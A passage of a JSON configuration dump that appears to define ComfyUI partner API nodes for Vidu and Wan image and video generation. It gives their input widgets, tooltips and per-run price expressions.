4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "7", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "8", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt8": ["STRING", {"tooltip": "Text prompt for frame 8 transition.", "default": "", "multiline": true}], "end_image8": ["IMAGE", {"tooltip": "End frame image for segment 8. Aspect ratio must be between 1:4 and 4:1."}], "duration8": ["INT", {"tooltip": "Duration for segment 8 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "9", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt8": ["STRING", {"tooltip": "Text prompt for frame 8 transition.", "default": "", "multiline": true}], "end_image8": ["IMAGE", {"tooltip": "End frame image for segment 8. Aspect ratio must be between 1:4 and 4:1."}], "duration8": ["INT", {"tooltip": "Duration for segment 8 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt9": ["STRING", {"tooltip": "Text prompt for frame 9 transition.", "default": "", "multiline": true}], "end_image9": ["IMAGE", {"tooltip": "End frame image for segment 9. Aspect ratio must be between 1:4 and 4:1."}], "duration9": ["INT", {"tooltip": "Duration for segment 9 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "start_image", "seed", "resolution", "frames"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduMultiFrameVideoNode", "display_name": "Vidu Multi-Frame Video Generation", "description": "Generate a video with multiple keyframe transitions.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "frames", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "frames.duration1", "type": "INT"}, {"name": "frames.duration2", "type": "INT"}, {"name": "frames.duration3", "type": "INT"}, {"name": "frames.duration4", "type": "INT"}, {"name": "frames.duration5", "type": "INT"}, {"name": "frames.duration6", "type": "INT"}, {"name": "frames.duration7", "type": "INT"}, {"name": "frames.duration8", "type": "INT"}, {"name": "frames.duration9", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $n := $number(widgets.frames);\n $is1080 := widgets.resolution = \"1080p\";\n $d1 := $lookup(widgets, \"frames.duration1\");\n $d2 := $lookup(widgets, \"frames.duration2\");\n $d3 := $n >= 3 ? $lookup(widgets, \"frames.duration3\") : 0;\n $d4 := $n >= 4 ? $lookup(widgets, \"frames.duration4\") : 0;\n $d5 := $n >= 5 ? $lookup(widgets, \"frames.duration5\") : 0;\n $d6 := $n >= 6 ? $lookup(widgets, \"frames.duration6\") : 0;\n $d7 := $n >= 7 ? $lookup(widgets, \"frames.duration7\") : 0;\n $d8 := $n >= 8 ? $lookup(widgets, \"frames.duration8\") : 0;\n $d9 := $n >= 9 ? $lookup(widgets, \"frames.duration9\") : 0;\n $totalDuration := $d1 + $d2 + $d3 + $d4 + $d5 + $d6 + $d7 + $d8 + $d9;\n $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.3 : 0.15;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $n * $base + $perSec * $totalDuration}\n )\n : (\n $base := $is1080 ? 0.2 : 0.075;\n $perSec := $is1080 ? 0.05 : 0.025;\n {\"type\":\"usd\",\"usd\": $n * $base + $perSec * $totalDuration}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3TextToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation, with a maximum length of 2000 characters.", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3TextToVideoNode", "display_name": "Vidu Q3 Text-to-Video Generation", "description": "Generate video from a text prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3ImageToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p", "2K"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for video generation (max 2000 characters).", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3ImageToVideoNode", "display_name": "Vidu Q3 Image-to-Video Generation", "description": "Generate a video from an image and an optional prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16, \"2k\": 0.2}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3StartEndToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt description (max 2000 characters).", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3StartEndToVideoNode", "display_name": "Vidu Q3 Start/End Frame-to-Video Generation", "description": "Generate a video from a start frame, an end frame, and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTextToImageApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "multiselect": false, "options": ["wan2.5-t2i-preview"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 768, "max": 1440, "step": 32}], "height": ["INT", {"default": 1024, "min": 768, "max": 1440, "step": 32}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["negative_prompt", "width", "height", "seed", "prompt_extend", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanTextToImageApi", "display_name": "Wan Text to Image", "description": "Generates an image based on a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/image/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanImageToImageApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.5-i2i-preview", "multiselect": false, "options": ["wan2.5-i2i-preview"]}], "image": ["IMAGE", {"tooltip": "Single-image editing or multi-image fusion. Maximum 2 images."}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt"], "optional": ["negative_prompt", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanImageToImageApi", "display_name": "Wan Image to Image", "description": "Generates an image from one or two input images and a text prompt. The output image is currently fixed at 1.6 MP, and its aspect ratio matches the input image(s).", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/image/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTextToVideoApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.6-t2v", "multiselect": false, "options": ["wan2.5-t2v-preview", "wan2.6-t2v"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "size": ["COMBO", {"default": "720p: 1:1 (960x960)", "multiselect": false, "options": ["480p: 1:1 (624x624)", "480p: 16:9 (832x480)", "480p: 9:16 (480x832)", "720p: 1:1 (960x960)", "720p: 16:9 (1280x720)", "720p: 9:16 (720x1280)", "720p: 4:3 (1088x832)", "720p: 3:4 (832x1088)", "1080p: 1:1 (1440x1440)", "1080p: 16:9 (1920x1080)", "1080p: 9:16 (1080x1920)", "1080p: 4:3 (1632x1248)", "1080p: 3:4 (1248x1632)"]}], "duration": ["INT", {"tooltip": "A 15-second duration is available only for the Wan 2.6 model.", "default": 5, "min": 5, "max": 15, "step": 5, "display": "number"}], "audio": ["AUDIO", {"tooltip": "Audio must contain a clear, loud voice, without extraneous noise or background music."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "generate_audio": ["BOOLEAN", {"tooltip": "If no audio input is provided, generate audio automatically.", "advanced": true, "default": false}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts. This parameter takes effect only when prompt_extend is True.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["negative_prompt", "size", "duration", "audio", "seed", "generate_audio", "prompt_extend", "watermark", "shot_type"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanTextToVideoApi", "display_name": "Wan Text to Video", "description": "Generates a video based on a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "size", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ppsTable := { \"480p\": 0.05, \"720p\": 0.1, \"1080p\": 0.15 };\n $resKey := $substringBefore(widgets.size, \":\");\n $pps := $lookup($ppsTable, $resKey);\n { \"type\": \"usd\", \"usd\": $round($pps * widgets.duration, 2) }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanImageToVideoApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.6-i2v", "multiselect": false, "options": ["wan2.5-i2v-preview", "wan2.6-i2v"]}], "image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720P", "multiselect": false, "options": ["480P", "720P", "1080P"]}], "duration": ["INT", {"tooltip": "Duration 15 available only for WAN2.6 model.", "default": 5, "min": 5, "max": 15, "step": 5, "display": "number"}], "audio": ["AUDIO", {"tooltip": "Audio must contain a clear, loud voice, without extraneous noise or background music."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "generate_audio": ["BOOLEAN", {"tooltip": "If no audio input is provided, generate audio automatically.", "advanced": true, "default": false}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts. This parameter takes effect only when prompt_extend is True.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt"], "optional": ["negative_prompt", "resolution", "duration", "audio", "seed", "generate_audio", "prompt_extend", "watermark", "shot_type"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanImageToVideoApi", "display_name": "Wan Image to Video", "description": "Generates a video from the first frame and a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ppsTable := { \"480p\": 0.05, \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, widgets.resolution);\n { \"type\": \"usd\", \"usd\": $round($pps * widgets.duration, 2) }\n )\n "}, "search_aliases": null, "essentials_category": null, 